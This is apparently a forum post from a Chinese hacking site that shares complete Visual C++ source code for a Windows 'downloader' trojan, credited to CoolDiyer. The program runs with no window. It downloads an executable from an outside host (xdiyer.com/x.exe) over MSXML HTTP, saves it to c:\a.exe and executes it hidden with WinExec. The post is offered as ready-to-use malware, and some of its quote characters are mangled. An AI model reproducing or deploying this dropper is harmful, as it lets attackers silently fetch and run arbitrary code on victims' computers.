下载者VC源码
作者：CoolDiyer
来源：红狼

// xml.cpp : By CoolDiyer 2008/4/9 14:03 

//xml

#pragma comment(linker, “/subsystem:windows /FILEALIGN:0×200 /opt:nowin98“)



#include <windows.h>

#include <atlbase.h>

#import “msxml.dll”

bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)

{

MSXML::IXMLHttpRequestPtr xmlHttp = NULL;

HRESULT	hr;

BSTR	bstrstring = NULL;

hr = xmlHttp.CreateInstance(”msxml2.xmlhttp“);

if (!SUCCEEDED(hr))	return false;

hr = xmlHttp->open(”GET“, szURL, false);

if (!SUCCEEDED(hr))	return false;

hr = xmlHttp->send();

if (!SUCCEEDED(hr))	return false;

xmlHttp->get_responseText(&bstrstring);

if (!SUCCEEDED(hr))	return false;



VARIANT	vValue;

xmlHttp->get_responseStream(&vValue);



IStream	*pIStream = NULL;

STATSTG	StatStg;

pIStream = (IStream*)vValue.punkVal;  //取得流对象指针

pIStream->Stat(&StatStg, NULL);

ULONG nSize = ULONG(StatStg.cbSize.QuadPart);  //取得文件的长度



HANDLE	hFile  = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);



BYTE	lpBuffer[1024];

DWORD	dwBytesWritten = 0;

ULONG	uLen;

while (nSize > 0)

{

pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大

WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);

nSize -= uLen;

}

CloseHandle(hFile);

if (pIStream)

{

pIStream->Release();

pIStream = NULL;

}

return true;

}



int WINAPI WinMain(

HINSTANCE hInstance,      // handle to current instance

HINSTANCE hPrevInstance,  // handle to previous instance

LPSTR lpCmdLine,          // command line

int nCmdShow              // show state

)

{

CoInitialize(NULL);

char	*lpszFile = “c:\\a.exe“;

URLDownloadToFile(”http://xdiyer.com/x.exe“, lpszFile);

WinExec(lpszFile, SW_HIDE);

CoUninitialize();

return 0;

}

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